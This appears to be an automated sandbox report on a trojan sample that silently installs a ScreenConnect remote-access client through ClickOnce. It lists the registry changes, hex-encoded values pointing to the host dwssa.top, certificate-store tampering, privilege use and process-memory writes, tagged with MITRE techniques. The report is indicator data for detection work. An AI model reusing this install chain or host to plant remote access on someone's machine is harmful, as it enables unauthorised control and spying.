Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\NonCanonicalData	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_6acd6157af9d4abe_0019.0003_2a7979a74537f033\scre...exe_6acd6157af9d4abe_0019.0003_none_3b99cdd2411	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..vice_4b14c015c87c1ad8_0019.0003_none_f33a7a8bbb40b75c\lock!06000000f570580e3c0d0000d81000000000000000000000f = 30303030306433632c30316463643061366438343664363234	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Families	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{60051b8f-4f12-400a-8e50-dd05ebd438d1}\NonCanonicalData	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_6acd6157af9d4ab = 53637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d366163643631353761663964346162652c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_6acd6157af9d4abe_0019.0003_none_3b99cdd24116687d	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_6acd6157af9d4abe_0019.0003_2a7979a74537f033\scre..vice_4b14c015c87c1ad8_0019.0003_none_f33a7a8bbb4	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_6acd6157af9d4abe_0019.0003_2a7979a74537f033\scre...exe_6acd6157af9d4abe_0019.0003_none_3b99cdd2411 = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Applications	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{60051b8f-4f12-400a-8e50-dd05ebd438d1}\scre..tion_6acd6157af9d4ab = 68747470733a2f2f64777373612e746f702f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32352e332e342e393238382c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d366163643631353761663964346162652c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_6acd6157af9d4ab = 32003000320036002f00300034002f00320030002000300039003a00310039003a00350031000000	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_6acd6157af9d4abe_0019.0003_2a7979a74537f033\scre..vice_4b14c015c87c1ad8_0019.0003_none_f33a7a8bbb4 = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..core_4b14c015c87c1ad8_0019.0003_none_41e6e243258153f1\Transform = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..core_4b14c015c87c1ad8_0019.0003_none_41e6e243258153f1	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_6acd6157af9d4abe_0019.0003_none_3b99cdd24116687d\identity = 53637265656e436f6e6e6563742e57696e646f7773436c69656e742e6578652c2056657273696f6e3d32352e332e342e393238382c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d366163643631353761663964346162652c2070726f636573736f724172636869746563747572653d6d73696c2c20747970653d77696e3332	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_6acd6157af9d4abe_0019.0003_none_3b99cdd24116687d\Files\ScreenConnect.WindowsBackstageShell.exe.con = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_6acd6157af9d4abe_0019.0003_2a7979a74537f033\scre..dows_4b14c015c87c1ad8_0019.0003_none_465eba2461c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..dows_4b14c015c87c1ad8_0019.0003_none_465eba2461cf6721\identity = 53637265656e436f6e6e6563742e57696e646f77732c2056657273696f6e3d32352e332e342e393238382c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre...exe_6acd6157af9d4abe_0019.0003_none_3b99cdd24116687d\implication!scre..tion_6acd6157af9d4abe_0019.0003_615f = 68747470733a2f2f64777373612e746f702f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32352e332e342e393238382c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d366163643631353761663964346162652c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_6acd6157af9d4abe_0019.0003_none_3b99cdd24116687d\Files\ScreenConnect.WindowsFileManager.exe.config = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0019.0003_none_d7fc401534d0a9f5\SizeOfStronglyNamedComponent = e711030000000000	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..core_4b14c015c87c1ad8_0019.0003_none_41e6e243258153f1\lock!10000000946e580eec0f00007002000000000000000000003 = 30303030306665632c30316463643061366330663134643639	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..dows_4b14c015c87c1ad8_0019.0003_none_465eba2461cf6721\lock!0c000000946e580eec0f00007002000000000000000000003 = 30303030306665632c30316463643061366330663134643639	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_6acd6157af9d4ab = 0000	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0019.0003_none_d7fc401534d0a9f5\identity = 53637265656e436f6e6e6563742e436c69656e742c2056657273696f6e3d32352e332e342e393238382c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_6acd6157af9d4abe_0019.0003_none_3d690cd90d9c3660	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_6acd6157af9d4abe_0019.0003_none_3d690cd90d9c3660\implication!scre..tion_6acd6157af9d4abe_0019.0003_615f = 68747470733a2f2f64777373612e746f702f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32352e332e342e393238382c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d366163643631353761663964346162652c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Assemblies	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Installations	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..dows_4b14c015c87c1ad8_0019.0003_none_465eba2461cf6721\lock!18000000f570580e3c0d0000d81000000000000000000000f = 30303030306433632c30316463643061366438343664363234	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_6acd6157af9d4abe_0019.0003_615fae6aa1e194b0\pin!S_{3f471841-eef2-47d6-89c0-d028f03a4ad5}	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_6acd6157af9d4abe_0019.0003_none_3d690cd90d9c3660\SizeOfStronglyNamedComponent = 9917020000000000	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_6acd6157af9d4abe_0019.0003_none_3b99cdd24116687d\Transform = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_6acd6157af9d4abe_0019.0003_2a7979a74537f033\SubstructureCreated = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Families\Gc_scre..tion_8eb194bb8bd71e8e	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..vice_4b14c015c87c1ad8_0019.0003_none_f33a7a8bbb40b75c\SizeOfStronglyNamedComponent = ac25010000000000	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment	dfsvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\StateStore_RandomString = "8WYMKMJ4E734Z4O8OTVT061X"	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_6acd6157af9d4abe_0019.0003_none_3b99cdd24116687d\DigestMethod = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0019.0003_none_a32dbb670e6536fe\Transform = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..dows_4b14c015c87c1ad8_0019.0003_none_465eba2461cf6721\identity = 53637265656e436f6e6e6563742e57696e646f77732c2056657273696f6e3d32352e332e342e393238382c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..dows_4b14c015c87c1ad8_0019.0003_none_465eba2461cf6721\Files	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..vice_4b14c015c87c1ad8_0019.0003_none_f33a7a8bbb40b75c\lock!08000000946e580eec0f00007002000000000000000000003 = 30303030306665632c30316463643061366330663134643639	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_6acd6157af9d4ab = 460061006c00730065000000	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_6acd6157af9d4ab = 30000000	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0019.0003_none_a32dbb670e6536fe\identity = 53637265656e436f6e6e6563742e57696e646f7773436c69656e742c2056657273696f6e3d32352e332e342e393238382c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0019.0003_none_d7fc401534d0a9f5\Files\ScreenConnect.Client.dll_fc1d7bd48553fcab = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..vice_4b14c015c87c1ad8_0019.0003_none_f33a7a8bbb40b75c\identity = 53637265656e436f6e6e6563742e436c69656e74536572766963652c2056657273696f6e3d32352e332e342e393238382c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe

Modifies system certificate store 2 TTPs 6 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C	3562f39131f6827fb040cd1b6481164d18c2ca936d8c8a556b36fcf7c72e3445.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C\Blob = 0300000001000000140000007b0f360b775f76c94a12ca48445aa2d2a875701c2000000001000000b4060000308206b030820498a003020102021008ad40b260d29c4c9f5ecda9bd93aed9300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3231303432393030303030305a170d3336303432383233353935395a3069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e6720525341343039362053484133383420323032312043413130820222300d06092a864886f70d01010105000382020f003082020a0282020100d5b42f42d028ad78b75dd539591bb18842f5338ceb3d819770c5bbc48526309fa48e68d85cf5eb342407e14b4fd37843f417d71edaf9d2d5671a524f0ea157fc8899c191cc81033e4d702464b38de2087d347d4c8057126b439a99f2c53b1ff2efcb475a13a64cb3012025f310d38bb2fb08f08ae09d09c065a7fa98804935873d5119e8902178452ea19f2ce118c21accc5ee93497042328ffbc6ea1cf3656891a24d4c8211485268de10bd14575de8181365c57fb24f852c48a4568435d6f92e9caa0015d137fe1a0694c27cc8ea1b32e6cac2f4a7a3030e74a5af39b6ab6012e3e8d6b9f731e1dcade418a0d8c1234747b3a10f6ea3ab6d9806831bb76a672dd2bd441a9210818fb03b09d7c79b325ac2ff6a60548b49c193ede1b45ce06feb26f98cd5b2f93810e6eace91f5bed3fb6f9361345cbc93452883362a66285fb073ce8b262506b283d45cf615194ced62e05e33f2e8e8ec0aa7b0032b91b23679bef7ad081e75a665ccbbe34850f377911afedb50a246c8615898f57c02163c8328ad3986ecd4b70d53d0f847e675308dec30937614a65b4b5d74614d3f129176debf58cb72102941f0d5c56d267668114113589adc262b01f4894d59db78cf814a3e40475fc98150738510232159608a6454c1cc211ae838197c661ccd78384530994fff634f4cbbaa0d0853417c583d47b3fab6ec8c320902cc6c3c0c56110203010001a38201593082015530120603551d130101ff040830060101ff020100301d0603551d0e041604146837e0ebb63bf85f1186fbfe617b088865f44e42301f0603551d23041830168014ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070303307706082b06010505070101046b3069302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304106082b060105050730028635687474703a2f2f636163657274732e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63727430430603551d1f043c303a3038a036a0348632687474703a2f2f63726c332e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63726c301c0603551d20041530133007060567810c01033008060667810c010401300d06092a864886f70d01010c050003820201003a23443d8d0876ee8fbc3a99d356e0021aa5f84834f32cb6e67466f79472b100caaf6c302713129e90449f4bfd9ea37c26d537bc3a5d486d95d53f49f427bb16814550fd9cbdb685e0767e3771cb22f75aaa90cff5936ae3eb20d1d55079889a8a8ac1b6bda148187edcd8801a111918cd61998156f6c9e376e7c4e41b5f43f83e94ff76393d9ed499cf4add28eb5f26a1955848d51afed7273ffd90d17686dd1cb0605cf30da8eee089a1bd39e1384eda6ebb369dfbe521535ac3cae96af1a23edb43b833c84f38149299f5ddce546dd95d02141f40337c03e295b2c221757352cb46d8c4341ca2a54b8dcd6f76372c853f1ace26e918be9007b0437f9588208270f0cccaeffd29355c1f893855f7378a8b09a1cb0be9311aff2e195c3971e1be9ca70a06d62667b792e64e5fde7aac49cf2ea47492addb3ca49c861fe3c1561b2b23ff8fb5ea887b706be6a0bafd3a3f45a6c4e81691528b41c048844b964dab4440e38df01528ceedf11856072a2f10c40c08643c338fae288c3ccb8f880b0dbf3bf4ce1e7b8eefb5ebcbb7f07713e6e7283fac12aea52f226c41f9825c1566cc6c0ecac586c3f626330c074ba0d307026a6a4030484b34a85120bbad1b8508e2590d6dca05502bea4a1c9ea5fda0a71f0674e7f2d65290fdaf854821f9573bb49c03ed8645f4b4616ebf68e2266086eac8afa9fe941de7631b3a8656784e	3562f39131f6827fb040cd1b6481164d18c2ca936d8c8a556b36fcf7c72e3445.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\FF8BFAFA697459874FB9843B1EFDA5C91871A44C	3562f39131f6827fb040cd1b6481164d18c2ca936d8c8a556b36fcf7c72e3445.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\FF8BFAFA697459874FB9843B1EFDA5C91871A44C\Blob = 030000000100000014000000ff8bfafa697459874fb9843b1efda5c91871a44c2000000001000000640700003082076030820548a00302010202100fc890218ebc1b3c4b8521f655979371300d06092a864886f70d01010b05003069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e67205253413430393620534841333834203230323120434131301e170d3232303731333030303030305a170d3235303731323233353935395a3065310b30090603550406130255533110300e06035504081307466c6f72696461310e300c0603550407130554616d706131193017060355040a1310436f6e6e656374776973652c204c4c433119301706035504031310436f6e6e656374776973652c204c4c4330820222300d06092a864886f70d01010105000382020f003082020a0282020100da5d7b6eb44d5d8c63f7c47c18a1bf98759158e061191810be4001b75443bd96e1de68459fd72f7fe20abcdab9d10541d5b333a191c8694e70eadeb590a46fbacc4bf1e580e3d49900107f31a44bb0761c26e95f32d3d2076fc1ce1550fcc9b80d3a9e126cf948f5d78907f82795bd1c5437f87f582a9cfa3c9adfb079d3af1b267a35c2fed12b99aa072db1a974d8b3704831f91c07c343f8bdfe52a88a5a9ba1ce87a957eed596ea5af8dc2821f8970898355d467621f188cda371cbf194625ac45e7682afc4a7687dfdf58fa12f67da9f8868f8f1bbafaa5455922fce755cceeee2c4caa8c74350420396f445e5b8e2340ddca227ce4846a787150ff50b982a02fac5722e2630da9e7f4f11f61d46c4a3a741834de00ba96fe8d0eec53b8d7332fc8567d59dae58c9da2b4cd394391f1a35c075ce76e4f58118f42cffd0f9d097d86e6e40e7174583b89ea38de2885b9aeed147efa57ddc17ad421b2c9323575a9e0194576825aed3b586a072b2f4dc6194a5566976865079ac988b1c0cadfd10851be62b1f79cad6a937f874eab8cb3651e29e862d5cafe9d1b42a83f335d2aba6ec4ef9d9aa115a069c24916d645de415844dc365c616628665ba45d57e5a4e9ac0a5b414e8833ed77e4591647937e6f496d5cb708e29e3ca60ed81d594c9954186e08e7dbf3555f0a0a4e56625b4dfdc46577d88321b4719cc21b0a7ad0203010001a382020630820202301f0603551d230418301680146837e0ebb63bf85f1186fbfe617b088865f44e42301d0603551d0e04160414294f9bff00edb7d66b2218307d77a83f5c2b0d85300e0603551d0f0101ff04040302078030130603551d25040c300a06082b060105050703033081b50603551d1f0481ad3081aa3053a051a04f864d687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c3053a051a04f864d687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c303e0603551d20043730353033060667810c0104013029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f43505330819406082b06010505070101048187308184302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305c06082b060105050730028650687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820201004e334e35453d2ec365082bd7e988392596a078b66cc91a7d52995886d9d2ef5eb1160e611ab54b00704e0cd7fdf1271871d56584ce06413b96e26d0396eb657cbbd5c12039d0130d52e31d1a7a186ca20878378c832655db9af8fc8e0672ca942d35fd13ee8803a7a747a502ff39ce8bbb6b054d78be49edb5a70f7c5c9a0edf3a6a7e3de78ac01b08a05198c6a4ccd6443ced8f4d9a65a23e67b09a93afe01c2e3f3d90581cf5138f931a3af8a15f27ce1a515a1a47f177392d6d3729bc62ce606793d202b89ff88531f035675680e405b49414971bf9f36528c1c44ed17ced9dee353c14465719a0391e3197d851df01ae8e36cb7918a26ca2eec0da555c4fa072f05a7ee59382e093a4edd2698645c04a17a3903ca9fdab62e033fec0f8653dd193b9050a78b0e1101b73ce2caf73a677373783d2a1ee3ce794055e0535ac1edc9eb133e043d16cb6f811f2d7cc855f098673920d0948c2f93a705eea762ca78afd8d4b47a5f4f5ec02b34d77defbbe7e854b50b26182dc05ba265fe3bde3fbd6a12f2aa9656d39361d93425789714323d74ffef6347a5ae3e44a6322d76e604bf759bee5f7a8023d55a2356fd9ed1041d584fed8c27697369a1be159c96722b21a92a6c4d9d17dac189b047538f099b1a3d1ef72882f0e09a767d622f371976cd4b95e6357c2c7b97499b81f04607c9fe72a0bd13f1c899107531d4785b7	3562f39131f6827fb040cd1b6481164d18c2ca936d8c8a556b36fcf7c72e3445.exe
Key deleted	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C	3562f39131f6827fb040cd1b6481164d18c2ca936d8c8a556b36fcf7c72e3445.exe
Key deleted	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\FF8BFAFA697459874FB9843B1EFDA5C91871A44C	3562f39131f6827fb040cd1b6481164d18c2ca936d8c8a556b36fcf7c72e3445.exe

NTFS ADS 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\Deployment\LNJA87T5.ZE8\JLX0POP1.DYC\ScreenConnect.WindowsClient.exe:Zone.Identifier	dfsvc.exe
File created	C:\Users\Admin\AppData\Local\Apps\2.0\M74D5G2R.KHE\BO94AORJ.RZT\scre..ient_4b14c015c87c1ad8_0019.0003_none_a32dbb670e6536fe\ScreenConnect.WindowsClient.exe\:Zone.Identifier:$DATA	dfsvc.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1060	ScreenConnect.ClientService.exe
1060	ScreenConnect.ClientService.exe
1060	ScreenConnect.ClientService.exe
1060	ScreenConnect.ClientService.exe
1060	ScreenConnect.ClientService.exe
1060	ScreenConnect.ClientService.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4076	dfsvc.exe
Token: SeDebugPrivilege	1060	ScreenConnect.ClientService.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4288 wrote to memory of 4076	4288	3562f39131f6827fb040cd1b6481164d18c2ca936d8c8a556b36fcf7c72e3445.exe	85
PID 4076 wrote to memory of 3388	4076	dfsvc.exe	95
PID 3388 wrote to memory of 4864	3388	ScreenConnect.WindowsClient.exe	97
PID 1060 wrote to memory of 1804	1060	ScreenConnect.ClientService.exe	99
PID 1060 wrote to memory of 1924	1060	ScreenConnect.ClientService.exe	100

